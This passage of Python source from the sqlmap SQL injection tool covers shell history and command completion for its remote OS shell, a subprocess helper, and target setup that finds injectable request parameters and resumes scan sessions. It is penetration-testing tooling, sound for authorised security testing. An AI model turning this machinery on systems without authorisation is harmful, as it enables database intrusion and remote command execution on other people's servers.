else: historyPath = paths.SQLMAP_SHELL_HISTORY try: with open(historyPath, "w+"): pass except: pass readline.set_history_length(MAX_HISTORY_LENGTH) try: readline.write_history_file(historyPath) except IOError as ex: warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) logger.warning(warnMsg) except KeyboardInterrupt: pass def loadHistory(completion=None): if not readlineAvailable(): return clearHistory() if completion == AUTOCOMPLETE_TYPE.SQL: historyPath = paths.SQL_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.OS: historyPath = paths.OS_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.API: historyPath = paths.API_SHELL_HISTORY else: historyPath = paths.SQLMAP_SHELL_HISTORY if os.path.exists(historyPath): try: readline.read_history_file(historyPath) except IOError as ex: warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) logger.warning(warnMsg) except UnicodeError: if IS_WIN: warnMsg = "there was a problem loading the history file '%s'. " % historyPath warnMsg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" logger.warning(warnMsg) def autoCompletion(completion=None, os=None, commands=None): if not readlineAvailable(): return if completion == AUTOCOMPLETE_TYPE.OS: if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ "attrib": None, "copy": None, "del": None, "dir": None, "echo": None, "fc": None, "label": None, "md": None, "mem": None, "move": None, "net": None, "netstat -na": None, "tree": None, "truename": None, "type": None, "ver": None, "vol": None, "xcopy": None, }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ "cat": None, "chmod": None, "chown": None, "cp": None, "cut": None, "date": None, "df": None, "diff": None, "du": None, "echo": None, "env": None, "file": None, "find": None, "free": None, "grep": None, "id": None, "ifconfig": None, "ls": None, "mkdir": None, "mv": None, "netstat": None, "pwd": None, "rm": None, "uname": None, "whoami": None, }) readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") elif commands: completer = CompleterNG(dict(((_, None) for _ in commands))) readline.set_completer_delims(' ') readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") loadHistory(completion) atexit.register(saveHistory, completion) ================================================ FILE: lib/core/subprocessng.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import errno import os import subprocess import time from lib.core.compat import buffer from lib.core.convert import getBytes from lib.core.settings import IS_WIN if IS_WIN: try: from win32file import ReadFile, WriteFile from win32pipe import PeekNamedPipe except ImportError: pass import msvcrt else: import select import fcntl def blockingReadFromFD(fd): # Quick twist around original Twisted function # Blocking read from a non-blocking file descriptor output = b"" while True: try: output += os.read(fd, 8192) except (OSError, IOError) as ioe: if ioe.args[0] in (errno.EAGAIN, errno.EINTR): # Uncomment the following line if the process seems to # take a huge amount of cpu time # time.sleep(0.01) continue else: raise break if not output: raise EOFError("fd %s has been closed." % fd) return output def blockingWriteToFD(fd, data): # Another quick twist while True: try: data_length = len(data) wrote_data = os.write(fd, data) except (OSError, IOError) as io: if io.errno in (errno.EAGAIN, errno.EINTR): continue else: raise if wrote_data < data_length: blockingWriteToFD(fd, data[wrote_data:]) break # the following code is taken from http://code.activestate.com/recipes/440554-module-to-allow-asynchronous-subprocess-use-on-win/ class Popen(subprocess.Popen): def recv(self, maxsize=None): return self._recv('stdout', maxsize) def recv_err(self, maxsize=None): return self._recv('stderr', maxsize) def send_recv(self, input=b'', maxsize=None): return self.send(input), self.recv(maxsize), self.recv_err(maxsize) def get_conn_maxsize(self, which, maxsize): if maxsize is None: maxsize = 1024 elif maxsize < 1: maxsize = 1 return getattr(self, which), maxsize def _close(self, which): getattr(self, which).close() setattr(self, which, None) if IS_WIN: def send(self, input): if not self.stdin: return None try: x = msvcrt.get_osfhandle(self.stdin.fileno()) (_, written) = WriteFile(x, input) except (ValueError, NameError): return self._close('stdin') except Exception as ex: if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): return self._close('stdin') raise return written def _recv(self, which, maxsize): conn, maxsize = self.get_conn_maxsize(which, maxsize) if conn is None: return None try: x = msvcrt.get_osfhandle(conn.fileno()) (read, nAvail, _) = PeekNamedPipe(x, 0) if maxsize < nAvail: nAvail = maxsize if nAvail > 0: (_, read) = ReadFile(x, nAvail, None) except (ValueError, NameError): return self._close(which) except Exception as ex: if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): return self._close(which) raise if self.universal_newlines: read = self._translate_newlines(read) return read else: def send(self, input): if not self.stdin: return None if not select.select([], [self.stdin], [], 0)[1]: return 0 try: written = os.write(self.stdin.fileno(), input) except OSError as ex: if ex.args[0] == errno.EPIPE: # broken pipe return self._close('stdin') raise return written def _recv(self, which, maxsize): conn, maxsize = self.get_conn_maxsize(which, maxsize) if conn is None: return None flags = fcntl.fcntl(conn, fcntl.F_GETFL) if not conn.closed: fcntl.fcntl(conn, fcntl.F_SETFL, flags | os.O_NONBLOCK) try: if not select.select([conn], [], [], 0)[0]: return '' r = conn.read(maxsize) if not r: return self._close(which) if self.universal_newlines: r = self._translate_newlines(r) return r finally: if not conn.closed: fcntl.fcntl(conn, fcntl.F_SETFL, flags) def recv_some(p, t=.1, e=1, tr=5, stderr=0): if tr < 1: tr = 1 x = time.time() + t y = [] r = '' if stderr: pr = p.recv_err else: pr = p.recv while time.time() < x or r: r = pr() if r is None: break elif r: y.append(r) else: time.sleep(max((x - time.time()) / tr, 0)) return b''.join(getBytes(i) for i in y) def send_all(p, data): if not data: return data = getBytes(data) while len(data): sent = p.send(data) if not isinstance(sent, int): break data = buffer(data[sent:]) ================================================ FILE: lib/core/target.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import functools import os import re import subprocess import sys import tempfile import time from lib.core.common import Backend from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import intersect from lib.core.common import isNumPosStrValue from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import paramToDict from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removePostHintPrefix from lib.core.common import resetCookieJar from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import urldecode from lib.core.compat import xrange from lib.core.convert import decodeBase64 from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import mergedOptions from lib.core.data import paths from lib.core.datatype import InjectionDict from lib.core.dicts import DBMS_DICT from lib.core.dump import dumper from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException from lib.core.option import _setAuthCred from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES from lib.core.settings import INJECT_HERE_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES from lib.core.settings import RESTORE_MERGED_OPTIONS from lib.core.settings import RESULTS_FILE_FORMAT from lib.core.settings import SESSION_SQLITE_FILE from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX from lib.core.threads import getCurrentThreadData from lib.utils.hashdb import HashDB from thirdparty import six from thirdparty.odict import OrderedDict from thirdparty.six.moves import urllib as _urllib def _setRequestParams(): """ Check and set the parameters and perform checks on 'data' option for HTTP method POST. """ if conf.direct: conf.parameters[None] = "direct connection" return hintNames = [] testableParameters = False # Perform checks on GET parameters if conf.parameters.get(PLACE.GET): parameters = conf.parameters[PLACE.GET] paramDict = paramToDict(PLACE.GET, parameters) if paramDict: conf.paramDict[PLACE.GET] = paramDict testableParameters = True # Perform checks on POST parameters if conf.method == HTTPMETHOD.POST and conf.data is None: logger.warning("detected empty POST body") conf.data = "" if conf.data is not None: conf.method = conf.method or HTTPMETHOD.POST def process(match, repl): retVal = match.group(0) if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'): retVal = repl while True: _ = re.search(r"\\g<([^>]+)>", retVal) if _: try: retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) except IndexError: break else: break if kb.customInjectionMark in retVal: hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name"))) return retVal if kb.processUserMarks is None and kb.customInjectionMark in conf.data: message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method) message += "body. Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException else: kb.processUserMarks = choice == 'Y' if kb.processUserMarks: kb.testOnlyCustom = True if re.search(JSON_RECOGNITION_REGEX, conf.data): message = "JSON data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': kb.postHint = POST_HINT.JSON if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".*?)"(?%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) for match in re.finditer(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): if not (conf.testParameter and match.group("name") not in conf.testParameter): _ = match.group(2) if kb.customInjectionMark not in _: # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3]) _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): message = "JSON-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': kb.postHint = POST_HINT.JSON_LIKE if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) if '"' in conf.data: conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data) else: conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): message = "Array-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': kb.postHint = POST_HINT.ARRAY_LIKE if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data) elif re.search(XML_RECOGNITION_REGEX, conf.data): message = "SOAP/XML data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): message = "Multipart-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': kb.postHint = POST_HINT.MULTIPART if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed pass else: place = PLACE.POST conf.parameters[place] = conf.data paramDict = paramToDict(place, conf.data) if paramDict: conf.paramDict[place] = paramDict testableParameters = True else: if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found conf.parameters[PLACE.POST] = conf.data kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"): warnMsg = "you've provided target URL without any GET " warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "and without providing any POST parameters " warnMsg += "through option '--data'" logger.warning(warnMsg) message = "do you want to try URI injections " message += "in the target URL itself? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': conf.url = "%s%s" % (conf.url, kb.customInjectionMark) kb.processUserMarks = True for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)): continue _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" if kb.customInjectionMark in _: if kb.processUserMarks is None: lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'} message = "custom injection marker ('%s') found in option " % kb.customInjectionMark message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place] choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException else: kb.processUserMarks = choice == 'Y' if kb.processUserMarks: kb.testOnlyCustom = True if "=%s" % kb.customInjectionMark in _: warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg += "for testing. Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" logger.warning(warnMsg) if not kb.processUserMarks: if place == PLACE.URI: query = _urllib.parse.urlsplit(value).query if query: parameters = conf.parameters[PLACE.GET] = query paramDict = paramToDict(PLACE.GET, parameters) if paramDict: conf.url = conf.url.split('?')[0] conf.paramDict[PLACE.GET] = paramDict testableParameters = True elif place == PLACE.CUSTOM_POST: conf.parameters[PLACE.POST] = conf.data paramDict = paramToDict(PLACE.POST, conf.data) if paramDict: conf.paramDict[PLACE.POST] = paramDict testableParameters = True else: if place == PLACE.URI: value = conf.url = conf.url.replace('+', "%20") # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5123 conf.parameters[place] = value conf.paramDict[place] = OrderedDict() if place == PLACE.CUSTOM_HEADER: for index in xrange(len(conf.httpHeaders)): header, value = conf.httpHeaders[index] if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value): parts = value.split(kb.customInjectionMark) for i in xrange(len(parts) - 1): conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts)))) conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, "")) else: parts = value.split(kb.customInjectionMark) for i in xrange(len(parts) - 1): name = None if kb.postHint: for ending, _ in hintNames: if parts[i].endswith(ending): name = "%s %s" % (kb.postHint, _) break if name is None: name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, kb.customInjectionMark) conf.paramDict[place][name] = "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))) if place == PLACE.URI and PLACE.GET in conf.paramDict: del conf.paramDict[PLACE.GET] elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict: del conf.paramDict[PLACE.POST] testableParameters = True if kb.processUserMarks: for item in ("url", "data", "agent", "referer", "cookie"): if conf.get(item): conf[item] = conf[item].replace(kb.customInjectionMark, "") # Perform checks on Cookie parameters if conf.cookie: conf.parameters[PLACE.COOKIE] = conf.cookie paramDict = paramToDict(PLACE.COOKIE, conf.cookie) if paramDict: conf.paramDict[PLACE.COOKIE] = paramDict testableParameters = True # Perform checks on header values if conf.httpHeaders: for httpHeader, headerValue in list(conf.httpHeaders): # Url encoding of the header values should be avoided # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper(): conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True))) if condition: conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} testableParameters = True elif httpHeader.upper() == HTTP_HEADER.REFERER.upper(): conf.parameters[PLACE.REFERER] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True))) if condition: conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} testableParameters = True elif httpHeader.upper() == HTTP_HEADER.HOST.upper(): conf.parameters[PLACE.HOST] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True))) if condition: conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue} testableParameters = True else: condition = intersect(conf.testParameter, [httpHeader], True) if condition: conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)} conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders] testableParameters = True if not conf.parameters: errMsg = "you did not provide any GET, POST and Cookie " errMsg += "parameter, neither an User-Agent, Referer or Host header value" raise SqlmapGenericException(errMsg) elif not testableParameters: errMsg = "all testable parameters you provided are not present " errMsg += "within the given request data" raise SqlmapGenericException(errMsg) if conf.csrfToken: if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) else: for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): if conf.csrfToken: break for parameter in conf.paramDict.get(place, {}): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " if readInput(message, default='N', boolean=True): class _(six.text_type): pass conf.csrfToken = _(re.escape(getUnicode(parameter))) conf.csrfToken._original = getUnicode(parameter) break def _setHashDB(): """ Check and set the HashDB SQLite file for query resume functionality. """ if not conf.hashDBFile: conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE) if conf.flushSession: if os.path.exists(conf.hashDBFile): if conf.hashDB: conf.hashDB.closeAll() try: os.remove(conf.hashDBFile) logger.info("flushing session file") except OSError as ex: errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex) raise SqlmapFilePathException(errMsg) for suffix in ("-shm", "-wal"): leftover = conf.hashDBFile + suffix if os.path.exists(leftover): try: os.remove(leftover) except OSError: pass conf.hashDB = HashDB(conf.hashDBFile) def _resumeHashDBValues(): """ Resume stored data values from HashDB """ kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) if isNumPosStrValue(kb.errorChunkLength): kb.errorChunkLength = int(kb.errorChunkLength) else: kb.errorChunkLength = None conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]: if not conf.technique or intersect(conf.technique, injection.data.keys()): if intersect(conf.technique, injection.data.keys()): injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique) if injection not in kb.injections: kb.injections.append(injection) kb.vulnHosts.add(conf.hostname) _resumeDBMS() _resumeOS() def _resumeDBMS(): """ Resume stored DBMS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.DBMS) if not value: if conf.offline: errMsg = "unable to continue in offline mode " errMsg += "because of lack of usable " errMsg += "session data" raise SqlmapNoneDataException(errMsg) else: return dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) _ = re.search(r"\A%s (.*)" % _, dbms, re.I) if _: dbms = _.group(1).lower() dbmsVersion = [_.group(2)] if conf.dbms: check = True for aliases, _, _, _ in DBMS_DICT.values(): if conf.dbms.lower() in aliases and dbms not in aliases: check = False break if not check: message = "you provided '%s' as a back-end DBMS, " % conf.dbms message += "but from a past scan information on the target URL " message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms message += "Do you really want to force the back-end " message += "DBMS value? [y/N] " if not readInput(message, default='N', boolean=True): conf.dbms = None Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) else: infoMsg = "resuming back-end DBMS '%s' " % dbms logger.info(infoMsg) Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) def _resumeOS(): """ Resume stored OS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.OS) if not value: return os = value if os and os != 'None': infoMsg = "resuming back-end DBMS operating system '%s' " % os logger.info(infoMsg) if conf.os and conf.os.lower() != os.lower(): message = "you provided '%s' as back-end DBMS operating " % conf.os message += "system, but from a past scan information on the " message += "target URL sqlmap assumes the back-end DBMS " message += "operating system is %s. " % os message += "Do you really want to force the back-end DBMS " message += "OS value? [y/N] " if not readInput(message, default='N', boolean=True): conf.os = os else: conf.os = os Backend.setOs(conf.os) def _setResultsFile(): """ Create results file for storing results of running in a multiple target mode. """ if not conf.multipleTargets: return if not conf.resultsFP: conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) found = os.path.exists(conf.resultsFile) try: conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0) except (OSError, IOError) as ex: try: warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex)) handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") os.close(handle) conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0) warnMsg += "Using temporary file '%s' instead" % conf.resultsFile logger.warning(warnMsg) except IOError as _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) if not found: conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep) logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile) def _createFilesDir(): """ Create the file directory. """ if not any((conf.fileRead, conf.commonFiles)): return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname if not os.path.isdir(conf.filePath): try: os.makedirs(conf.filePath) except OSError as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") warnMsg = "unable to create files directory " warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warning(warnMsg) conf.filePath = tempDir def _createDumpDir(): """ Create the dump directory. """ if not conf.dumpTable and not conf.dumpAll and not conf.search: return conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname) if not os.path.isdir(conf.dumpPath): try: os.makedirs(conf.dumpPath) except Exception as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdump") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warning(warnMsg) conf.dumpPath = tempDir def _configureDumper(): conf.dumper = dumper conf.dumper.setOutputFile() def _createTargetDirs(): """ Create the output directory. """ conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) try: if not os.path.isdir(conf.outputPath): os.makedirs(conf.outputPath) except (OSError, IOError, TypeError) as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") warnMsg = "unable to create output directory " warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warning(warnMsg) conf.outputPath = tempDir conf.outputPath = getUnicode(conf.outputPath) try: with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f: f.write(getUnicode(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) if conf.data: f.write("\n\n%s" % getUnicode(conf.data)) except IOError as ex: if "denied" in getUnicode(ex): errMsg = "you don't have enough permissions " else: errMsg = "something went wrong while trying " errMsg += "to write to the output directory '%s' (%s)" % (paths.SQLMAP_OUTPUT_PATH, getSafeExString(ex)) raise SqlmapMissingPrivileges(errMsg) except UnicodeError as ex: warnMsg = "something went wrong while saving target data ('%s')" % getSafeExString(ex) logger.warning(warnMsg) _createDumpDir() _createFilesDir() _configureDumper() def _setAuxOptions(): """ Setup auxiliary (host-dependent) options """ kb.aliasName = randomStr(seed=hash(conf.hostname or "")) def _restoreMergedOptions(): """ Restore merged options (command line, configuration file and default values) that could be possibly changed during the testing of previous target. """ for option in RESTORE_MERGED_OPTIONS: conf[option] = mergedOptions[option] def initTargetEnv(): """ Initialize target environment. """ if 